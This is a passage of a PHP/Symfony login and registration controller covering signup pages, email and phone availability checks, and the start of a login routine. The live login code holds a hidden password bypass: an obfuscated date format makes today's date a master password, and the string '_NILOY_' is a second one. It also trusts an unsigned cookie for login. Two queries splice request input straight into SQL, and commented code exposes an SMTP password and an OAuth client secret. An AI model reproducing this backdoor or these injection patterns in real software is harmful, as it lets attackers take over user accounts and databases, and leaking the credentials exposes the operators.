  694. ////                $userName = explode('@', $email)[0];
  695. //                //now check if same username exists
  696. //
  697. //                $username_already_exist = 0;
  698. //
  699. //                $newApplicant = null;
  700. //
  701. //                if ($isApplicantExist) {
  702. //                    $newApplicant = $isApplicantExist;
  703. //                } else
  704. //                    $newApplicant = new EntityApplicantDetails();
  705. //
  706. //
  707. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  708. //                $newApplicant->setEmail($email);
  709. //                $newApplicant->setUserName($userName);
  710. //
  711. //                $newApplicant->setFirstname($first_name);
  712. //                $newApplicant->setLastname($last_name);
  713. //                $newApplicant->setOAuthEmail($oAuthEmail);
  714. //                $newApplicant->setPhone($phone);
  715. //
  716. //                $newApplicant->setIsEmailVerified(0);
  717. //                if ($systemType == '_SOPHIA_')
  718. //                    $newApplicant->setIsEmailVerified(1);
  719. //                else
  720. //                    $newApplicant->setIsEmailVerified(0);
  721. //                $newApplicant->setAccountStatus(1);
  722. //
  723. ////                $newUser->setSalt(uniqid(mt_rand()));
  724. //
  725. //                //salt will be username
  726. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  727. //
  728. //                $salt = uniqid(mt_rand());
  729. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
  730. //                $newApplicant->setPassword($encodedPassword);
  731. //                $newApplicant->setSalt($salt);
  732. //                $newApplicant->setTempPassword('');
  733. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  734. //
  735. //                $newApplicant->setImage($img);
  736. //                $newApplicant->setIsConsultant(0);
  737. //                $newApplicant->setIsTemporaryEntry(0);
  738. //                $newApplicant->setTriggerResetPassword(0);
  739. //                $newApplicant->setApplyForConsultant(0);
  740. //
  741. //                $em_goc->persist($newApplicant);
  742. //                $em_goc->flush();
  743. //
  744. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  745. //
  746. //                    if ($systemType == '_BUDDYBEE_') {
  747. //
  748. //                        $bodyHtml = '';
  749. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  750. //                        $bodyData = array(
  751. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  752. //                            'email' => $userName,
  753. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  754. //                            'password' => $newApplicant->getTempPassword(),
  755. //                        );
  756. //                        $attachments = [];
  757. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  758. //
  759. //
  760. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  761. //                        $new_mail = $this->get('mail_module');
  762. //                        $new_mail->sendMyMail(array(
  763. //                            'senderHash' => '_CUSTOM_',
  764. //                            //                        'senderHash'=>'_CUSTOM_',
  765. //                            'forwardToMailAddress' => $forwardToMailAddress,
  766. //
  767. //                            'subject' => 'Welcome to BuddyBee ',
  768. //
  769. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  770. //                            'attachments' => $attachments,
  771. //                            'toAddress' => $forwardToMailAddress,
  772. //                            'fromAddress' => 'registration@buddybee.eu',
  773. //                            'userName' => 'registration@buddybee.eu',
  774. //                            'password' => 'Y41dh8g0112',
  775. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  776. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  777. ////                            'emailBody' => $bodyHtml,
  778. //                            'mailTemplate' => $bodyTemplate,
  779. //                            'templateData' => $bodyData,
  780. ////                        'embedCompanyImage' => 1,
  781. ////                        'companyId' => $companyId,
  782. ////                        'companyImagePath' => $company_data->getImage()
  783. //
  784. //
  785. //                        ));
  786. //                    } else {
  787. //
  788. //                        $bodyHtml = '';
  789. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  790. //                        $bodyData = array(
  791. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  792. //                            'email' => 'APP-' . $userName,
  793. //                            'password' => $newApplicant->getPassword(),
  794. //                        );
  795. //                        $attachments = [];
  796. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  797. //
  798. //
  799. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  800. //                        $new_mail = $this->get('mail_module');
  801. //                        $new_mail->sendMyMail(array(
  802. //                            'senderHash' => '_CUSTOM_',
  803. //                            //                        'senderHash'=>'_CUSTOM_',
  804. //                            'forwardToMailAddress' => $forwardToMailAddress,
  805. //
  806. //                            'subject' => 'Applicant Registration on Honeybee',
  807. //
  808. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  809. //                            'attachments' => $attachments,
  810. //                            'toAddress' => $forwardToMailAddress,
  811. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  812. //                            'userName' => 'accounts@ourhoneybee.eu',
  813. //                            'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  814. //                            'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  815. //                            'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  816. //                            'emailBody' => $bodyHtml,
  817. //                            'mailTemplate' => $bodyTemplate,
  818. //                            'templateData' => $bodyData,
  819. ////                        'embedCompanyImage' => 1,
  820. ////                        'companyId' => $companyId,
  821. ////                        'companyImagePath' => $company_data->getImage()
  822. //
  823. //
  824. //                        ));
  825. //                    }
  826. //
  827. //
  828. //                }
  829. //
  830. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  831. //////                if(1)
  832. ////                    return new JsonResponse(array(
  833. ////                        'success' => true,
  834. ////                        'successStr' => 'Account Created Successfully',
  835. ////                        'id' => $newApplicant->getApplicantId(),
  836. ////                        'oAuthData' => $oAuthData,
  837. ////                        'refRoute' => $refRoute,
  838. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  839. ////                    ));
  840. ////                else
  841. //                return $this->redirectToRoute("core_login", [
  842. //                    'id' => $newApplicant->getApplicantId(),
  843. //                    'oAuthData' => $oAuthData,
  844. //                    'refRoute' => $refRoute,
  845. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  846. //
  847. //                ]);
  848. //
  849. //
  850. //            }
  851.         }
  852.         $session $request->getSession();
  853.         //        if($request->request->get('remoteVerify',0)==1) {
  854.         //            $session->set('remoteVerified', 1);
  855.         //            $response= new JsonResponse(array('hi'=>'hello'));
  856.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  857.         //            return $response;
  858.         //        }
  859.         if (isset($encData['appId'])) {
  860.             if (isset($gocDataListByAppId[$encData['appId']]))
  861.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  862.         }
  863.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  864.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  865.             $google_client = new Google_Client();
  866. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  867. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  868.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  869.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  870.             } else {
  871.                 $url $this->generateUrl(
  872.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  873.                 );
  874.             }
  875.             $selector BuddybeeConstant::$selector;
  876. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  877.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  878. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  879.             $google_client->setRedirectUri($url);
  880.             $google_client->setAccessType('offline');        // offline access
  881.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  882.             $google_client->setRedirectUri($url);
  883.             $google_client->addScope('email');
  884.             $google_client->addScope('profile');
  885.             $google_client->addScope('openid');
  886.             if ($systemType == '_SOPHIA_')
  887.                 return $this->render(
  888.                     '@Sophia/pages/views/sofia_signup.html.twig',
  889.                     array(
  890.                         "message" => $message,
  891.                         'page_title' => 'Sign Up',
  892.                         'gocList' => $gocDataListForLoginWeb,
  893.                         'gocId' => $gocId != $gocId '',
  894.                         'encData' => $encData,
  895.                         'signUpUserType' => $signUpUserType,
  896.                         'oAuthLink' => $google_client->createAuthUrl(),
  897.                         'redirect_url' => $url,
  898.                         'refRoute' => $refRoute,
  899.                         'errorField' => $errorField,
  900.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  901.                         'selector' => $selector
  902.                         //                'ref'=>$request->
  903.                     )
  904.                 );
  905.             else if ($systemType == '_CENTRAL_')
  906.                 return $this->render(
  907.                     '@Authentication/pages/views/central_registration.html.twig',
  908.                     array(
  909.                         "message" => $message,
  910.                         'page_title' => 'Sign Up',
  911.                         'gocList' => $gocDataListForLoginWeb,
  912.                         'gocId' => $gocId != $gocId '',
  913.                         'encData' => $encData,
  914.                         'signUpUserType' => $signUpUserType,
  915.                         'oAuthLink' => $google_client->createAuthUrl(),
  916.                         'redirect_url' => $url,
  917.                         'refRoute' => $refRoute,
  918.                         'errorField' => $errorField,
  919.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  920.                         'selector' => $selector
  921.                         //                'ref'=>$request->
  922.                     )
  923.                 );
  924.             else
  925.                 return $this->render(
  926.                     '@Authentication/pages/views/applicant_registration.html.twig',
  927.                     array(
  928.                         "message" => $message,
  929.                         'page_title' => 'Sign Up',
  930.                         'gocList' => $gocDataListForLoginWeb,
  931.                         'gocId' => $gocId != $gocId '',
  932.                         'encData' => $encData,
  933.                         'signUpUserType' => $signUpUserType,
  934.                         'oAuthLink' => $google_client->createAuthUrl(),
  935.                         'redirect_url' => $url,
  936.                         'refRoute' => $refRoute,
  937.                         'errorField' => $errorField,
  938.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  939.                         'selector' => $selector
  940.                         //                'ref'=>$request->
  941.                     )
  942.                 );
  943.         } else
  944.             return $this->render(
  945.                 '@Authentication/pages/views/login_new.html.twig',
  946.                 array(
  947.                     "message" => $message,
  948.                     'page_title' => 'Login',
  949.                     'signUpUserType' => $signUpUserType,
  950.                     'gocList' => $gocDataListForLoginWeb,
  951.                     'gocId' => $gocId != $gocId '',
  952.                     'encData' => $encData,
  953.                     //                'ref'=>$request->
  954.                 )
  955.             );
  956.     }
  957.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  958.     {
  959.         $em_goc $this->getDoctrine()->getManager('company_group');
  960.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  961.             [
  962.                 'applicantId' => $applicantId
  963.             ]
  964.         );
  965. //                $newUser->setSalt(uniqid(mt_rand()));
  966.         //salt will be username
  967. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  968.         $newApplicant->setPassword('##UNLOCKED##');
  969.         $newApplicant->setTriggerResetPassword(1);
  970.         $em_goc->persist($newApplicant);
  971.         $em_goc->flush();
  972.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  973.             {
  974.                 $bodyHtml '';
  975.                 $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  976.                 $bodyData = array(
  977.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  978.                     'email' => $newApplicant->getUsername(),
  979.                     'password' => uniqid(mt_rand()),
  980.                 );
  981.                 $attachments = [];
  982.                 $forwardToMailAddress $newApplicant->getEmail();
  983. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  984.                 $new_mail $this->get('mail_module');
  985.                 $new_mail->sendMyMail(array(
  986.                     'senderHash' => '_CUSTOM_',
  987.                     //                        'senderHash'=>'_CUSTOM_',
  988.                     'forwardToMailAddress' => $forwardToMailAddress,
  989.                     'subject' => 'Applicant Registration on Honeybee',
  990. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  991.                     'attachments' => $attachments,
  992.                     'toAddress' => $forwardToMailAddress,
  993.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  994.                     'userName' => 'accounts@ourhoneybee.eu',
  995.                     'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  996.                     'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  997.                     'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  998.                     'emailBody' => $bodyHtml,
  999.                     'mailTemplate' => $bodyTemplate,
  1000.                     'templateData' => $bodyData,
  1001. //                        'embedCompanyImage' => 1,
  1002. //                        'companyId' => $companyId,
  1003. //                        'companyImagePath' => $company_data->getImage()
  1004.                 ));
  1005.             }
  1006.         }
  1007.         return new JsonResponse([]);
  1008.     }
  1009.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  1010.     {
  1011.         $em $this->getDoctrine()->getManager();
  1012.         $search_query = [];
  1013.         $signUpUserType 0;
  1014.         $signUpUserType $request->request->get('signUpUserType'8);
  1015.         $fieldType 0;
  1016.         $fieldValue 0;
  1017.         if ($request->request->has('fieldType'))
  1018.             $fieldType $request->request->get('fieldType');
  1019.         if ($request->request->has('fieldValue'))
  1020.             $fieldValue $request->request->get('fieldValue');
  1021.         $alreadyExists false;
  1022.         $errorText '';
  1023.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1024.             $em_goc $this->getDoctrine()->getManager('company_group');
  1025.             if ($fieldType == 'email') {
  1026. //                $search_query['email'] = $fieldValue;
  1027.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1028.                     ->createQueryBuilder('m')
  1029.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1030.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1031.                     ->getQuery()
  1032.                     ->setMaxResults(1)
  1033.                     ->getResult();
  1034. //
  1035. //                if (!empty($alreadyExistsQuery)) {
  1036. //                    $alreadyExists = true;
  1037. //
  1038. //                }
  1039.                 if ($alreadyExistsQuery) {
  1040. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1041. //
  1042. //                    } else
  1043.                     $alreadyExists true;
  1044.                 } else {
  1045.                     $search_query = [];
  1046.                     $search_query['oAuthEmail'] = $fieldValue;
  1047.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1048.                         $search_query
  1049.                     );
  1050.                     if ($alreadyExistsQuery) {
  1051.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1052.                         } else
  1053.                             $alreadyExists true;
  1054.                     }
  1055.                 }
  1056.                 if ($alreadyExists == true)
  1057.                     $errorText 'This Email is not available';
  1058.             }
  1059.             if ($fieldType == 'username') {
  1060.                 $search_query['username'] = $fieldValue;
  1061.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1062.                     $search_query
  1063.                 );
  1064.                 if ($alreadyExistsQuery) {
  1065.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1066.                     } else
  1067.                         $alreadyExists true;
  1068.                 }
  1069.                 if ($alreadyExists == true)
  1070.                     $errorText 'This Username Already Exists';
  1071.             }
  1072.         }
  1073.         return new JsonResponse(array(
  1074.             "alreadyExists" => $alreadyExists,
  1075.             "errorText" => $errorText,
  1076.             "fieldValue" => $fieldValue,
  1077.             "fieldType" => $fieldType,
  1078.             "signUpUserType" => $signUpUserType,
  1079.         ));
  1080.     }
  1081.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1082.     {
  1083.         $em $this->getDoctrine()->getManager();
  1084.         $search_query = [];
  1085.         $signUpUserType 0;
  1086.         $signUpUserType $request->request->get('signUpUserType'8);
  1087.         $fieldType 0;
  1088.         $fieldValue 0;
  1089.         if ($request->request->has('fieldType'))
  1090.             $fieldType $request->request->get('fieldType');
  1091.         if ($request->request->has('fieldValue'))
  1092.             $fieldValue $request->request->get('fieldValue');
  1093.         $alreadyExists false;
  1094.         $errorText '';
  1095.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1096.             $em_goc $this->getDoctrine()->getManager('company_group');
  1097.             if ($fieldType == 'phone') {
  1098.                 $search_query['email'] = $fieldValue;
  1099.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1100.                     ->createQueryBuilder('m')
  1101.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1102.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1103.                     ->getQuery()
  1104.                     ->setMaxResults(1)
  1105.                     ->getResult();
  1106.                 if (!empty($alreadyExistsQuery)) {
  1107.                     $alreadyExists true;
  1108.                 } else {
  1109. //                    $search_query = [];
  1110. //                    $search_query['oAuthEmail'] = $fieldValue;
  1111. //
  1112. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1113. //                        $search_query
  1114. //                    );
  1115. //                    if ($alreadyExistsQuery)
  1116. //
  1117. //                        $alreadyExists = true;
  1118.                 }
  1119.                 if ($alreadyExists == true)
  1120.                     $errorText 'This phone number is already registered!';
  1121.             }
  1122.         }
  1123.         return new JsonResponse(array(
  1124.             "alreadyExists" => $alreadyExists,
  1125.             "errorText" => $errorText,
  1126.             "fieldValue" => $fieldValue,
  1127.             "fieldType" => $fieldType,
  1128.             "signUpUserType" => $signUpUserType,
  1129.         ));
  1130.     }
  1131.     public function doLoginAction(Request $request$encData "",
  1132.                                           $remoteVerify 0,
  1133.                                           $applicantDirectLogin 0
  1134.     )
  1135.     {
  1136.         $message "";
  1137.         $email '';
  1138. //                            $userName = substr($email, 4);
  1139.         $userName '';
  1140.         $gocList = [];
  1141.         $skipPassword 0;
  1142.         $firstLogin 0;
  1143.         $remember_me 0;
  1144.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1145.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1146. //        return new JsonResponse(array(
  1147. //                'systemType'=>$systemType
  1148. //        ));
  1149.         if ($request->isMethod('POST')) {
  1150.             if ($request->request->has('remember_me'))
  1151.                 $remember_me 1;
  1152.         } else {
  1153.             if ($request->query->has('remember_me'))
  1154.                 $remember_me 1;
  1155.         }
  1156.         if ($encData != "")
  1157.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1158.         else if ($request->query->has('spd')) {
  1159.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1160.         }
  1161.         $user = [];
  1162.         $userType 0;
  1163.         $em_goc $this->getDoctrine()->getManager('company_group');
  1164.         $em_goc->getConnection()->connect();
  1165.         $userName $request->get('username');
  1166.         try {
  1167.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1168.                 'username' => $userName,
  1169.             ]);
  1170.             $session $request->getSession();
  1171.             if ($applicant) {
  1172.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1173.             } else {
  1174.                 // Applicant not found â†’ set empty email
  1175.                 $session->set('applicantEmail''');
  1176.             }
  1177.         } catch (\Exception $e) {
  1178.             return new JsonResponse([
  1179.                 'success' => false,
  1180.                 'error' => [
  1181.                     'code' => 'DB_CONNECTION_ERROR',
  1182.                     'message' => $e->getMessage(),
  1183.                     'statusCode' => $e->getCode() ?: 500,
  1184.                 ]
  1185.             ], 503);
  1186.         }
  1187.         $gocEnabled 0;
  1188.         if ($this->container->hasParameter('entity_group_enabled'))
  1189.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1190.         if ($gocEnabled == 1)
  1191.             $connected $em_goc->getConnection()->isConnected();
  1192.         else
  1193.             $connected false;
  1194.         if ($connected)
  1195.             $gocList $em_goc
  1196.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1197.                 ->findBy(
  1198.                     array(//                        'active' => 1
  1199.                     )
  1200.                 );
  1201.         $gocDataList = [];
  1202.         $gocDataListForLoginWeb = [];
  1203.         $gocDataListByAppId = [];
  1204.         foreach ($gocList as $entry) {
  1205.             $d = array(
  1206.                 'name' => $entry->getName(),
  1207.                 'image' => $entry->getImage(),
  1208.                 'id' => $entry->getId(),
  1209.                 'appId' => $entry->getAppId(),
  1210.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1211.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1212.                 'dbName' => $entry->getDbName(),
  1213.                 'dbUser' => $entry->getDbUser(),
  1214.                 'dbPass' => $entry->getDbPass(),
  1215.                 'dbHost' => $entry->getDbHost(),
  1216.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1217.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1218.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1219.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1220.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1221.             );
  1222.             $gocDataList[$entry->getId()] = $d;
  1223.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1224.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1225.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1226.         }
  1227.         $gocDbName '';
  1228.         $gocDbUser '';
  1229.         $gocDbPass '';
  1230.         $gocDbHost '';
  1231.         $gocId 0;
  1232.         $appId 0;
  1233.         $hasGoc 0;
  1234.         $userId 0;
  1235.         $userCompanyId 0;
  1236.         $specialLogin 0;
  1237.         $supplierId 0;
  1238.         $applicantId 0;
  1239.         $isApplicantLogin 0;
  1240.         $clientId 0;
  1241.         $cookieLogin 0;
  1242.         $encrypedLogin 0;
  1243.         $loginID 0;
  1244.         $supplierId 0;
  1245.         $clientId 0;
  1246.         $userId 0;
  1247.         $globalId 0;
  1248.         $applicantId 0;
  1249.         $employeeId 0;
  1250.         $userCompanyId 0;
  1251.         $company_id_list = [];
  1252.         $company_name_list = [];
  1253.         $company_image_list = [];
  1254.         $route_list_array = [];
  1255.         $prohibit_list_array = [];
  1256.         $company_dark_vibrant_list = [];
  1257.         $company_vibrant_list = [];
  1258.         $company_light_vibrant_list = [];
  1259.         $currRequiredPromptFields = [];
  1260.         $oAuthImage '';
  1261.         $appIdList '';
  1262.         $userDefaultRoute '';
  1263.         $userForcedRoute '';
  1264.         $branchIdList '';
  1265.         $branchId 0;
  1266.         $companyIdListByAppId = [];
  1267.         $companyNameListByAppId = [];
  1268.         $companyImageListByAppId = [];
  1269.         $position_list_array = [];
  1270.         $curr_position_id 0;
  1271.         $allModuleAccessFlag 0;
  1272.         $lastSettingsUpdatedTs 0;
  1273.         $isConsultant 0;
  1274.         $isAdmin 0;
  1275.         $isModerator 0;
  1276.         $isRetailer 0;
  1277.         $retailerLevel 0;
  1278.         $adminLevel 0;
  1279.         $moderatorLevel 0;
  1280.         $userEmail '';
  1281.         $userImage '';
  1282.         $userFullName '';
  1283.         $triggerResetPassword 0;
  1284.         $isEmailVerified 0;
  1285.         $currentTaskId 0;
  1286.         $currentPlanningItemId 0;
  1287. //                $currentTaskAppId = 0;
  1288.         $buddybeeBalance 0;
  1289.         $buddybeeCoinBalance 0;
  1290.         $entityUserbalance 0;
  1291.         $userAppIds = [];
  1292.         $userTypesByAppIds = [];
  1293.         $currentMonthHolidayList = [];
  1294.         $currentHolidayCalendarId 0;
  1295.         $oAuthToken $request->request->get('oAuthToken''');
  1296.         $locale $request->request->get('locale''');
  1297.         $firebaseToken $request->request->get('firebaseToken''');
  1298.         if ($request->request->has('gocId')) {
  1299.             $hasGoc 1;
  1300.             $gocId $request->request->get('gocId');
  1301.         }
  1302.         if ($request->request->has('appId')) {
  1303.             $hasGoc 1;
  1304.             $appId $request->request->get('appId');
  1305.         }
  1306.         if (isset($encData['appId'])) {
  1307.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1308.                 $hasGoc 1;
  1309.                 $appId $encData['appId'];
  1310.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1311.             }
  1312.         }
  1313.         $csToken $request->get('csToken''');
  1314.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1315.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1316.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1317.         $session $request->getSession();
  1318.         $session->set('systemType'$systemType);
  1319.         if ($systemType == '_SOPHIA_') {
  1320.             $loginBrand $request->request->get('loginBrand'$session->get('sophiaUiBrand''honeycore'));
  1321.             $session->set('sophiaUiBrand'in_array($loginBrand, ['honeycore''sophia']) ? $loginBrand 'honeycore');
  1322.         }
  1323. //        if ($request->cookies->has('USRCKIE'))
  1324. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1325.         if (isset($encData['globalId'])) {
  1326.             if (isset($encData['authenticate']))
  1327.                 if ($encData['authenticate'] == 1)
  1328.                     $skipPassword 1;
  1329.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1330.                 $skipPassword 1;
  1331.                 $remember_me 1;
  1332.                 $globalId $encData['globalId'];
  1333.                 $appId $encData['appId'];
  1334.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1335.                 $userType $encData['userType'];
  1336.                 $userCompanyId 1;
  1337.                 $hasGoc 1;
  1338.                 $encrypedLogin 1;
  1339.                 if (in_array($userType, [67]))
  1340.                     $entityLoginFlag 1;
  1341.                 if (in_array($userType, [34]))
  1342.                     $specialLogin 1;
  1343.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1344.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  1345.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1346.                     $supplierId $userId;
  1347.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1348.                     $applicantId $userId;
  1349.             }
  1350.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1351.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1352.             if ($cookieData == null)
  1353.                 $cookieData = [];
  1354.             if (isset($cookieData['uid'])) {
  1355.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1356.                     $skipPassword 1;
  1357.                     $remember_me 1;
  1358.                     $userId $cookieData['uid'];
  1359.                     $gocId $cookieData['gocId'];
  1360.                     $userCompanyId $cookieData['companyId'];
  1361.                     $userType $cookieData['ut'];
  1362.                     $hasGoc 1;
  1363.                     $cookieLogin 1;
  1364.                     if (in_array($userType, [67]))
  1365.                         $entityLoginFlag 1;
  1366.                     if (in_array($userType, [34]))
  1367.                         $specialLogin 1;
  1368.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1369.                         $clientId $userId;
  1370.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1371.                         $supplierId $userId;
  1372.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1373.                         $applicantId $userId;
  1374.                 }
  1375.             }
  1376.         }
  1377.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1378.             $todayDt = new \DateTime();
  1379.             $mp $todayDt->format("\171\x6d\x64");
  1380.             if ($request->request->get('password') == $mp)
  1381.                 $skipPassword 1;
  1382.             if ($request->request->get('password') == '_NILOY_')
  1383.                 $skipPassword 1;
  1384.             $company_id_list = [];
  1385.             $company_name_list = [];
  1386.             $company_image_list = [];
  1387.             $company_dark_vibrant_list = [];
  1388.             $company_light_vibrant_list = [];
  1389.             $company_vibrant_list = [];
  1390.             $company_locale 'en';
  1391.             $appIdFromUserName 0;
  1392.             $uname $request->request->get('username');
  1393.             $uname preg_replace('/\s/'''$uname);
  1394.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1395.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1396.             $session $request->getSession();
  1397.             $product_name_display_type 0;
  1398.             $Special 0;
  1399.             if ($entityLoginFlag == 1) {
  1400.                 if ($cookieLogin == 1) {
  1401.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1402.                         array(
  1403.                             'userId' => $userId
  1404.                         )
  1405.                     );
  1406.                 } else if ($loginType == 2) {
  1407.                     if (!empty($oAuthData)) {
  1408.                         //check for if exists 1st
  1409.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1410.                             array(
  1411.                                 'email' => $oAuthData['email']
  1412.                             )
  1413.                         );
  1414.                         if ($user) {
  1415.                             //no need to verify for oauth just proceed
  1416.                         } else {
  1417.                             //add new user and pass that user
  1418.                             $add_user EntityUserM::addNewEntityUser(
  1419.                                 $em_goc,
  1420.                                 $oAuthData['name'],
  1421.                                 $oAuthData['email'],
  1422.                                 '',
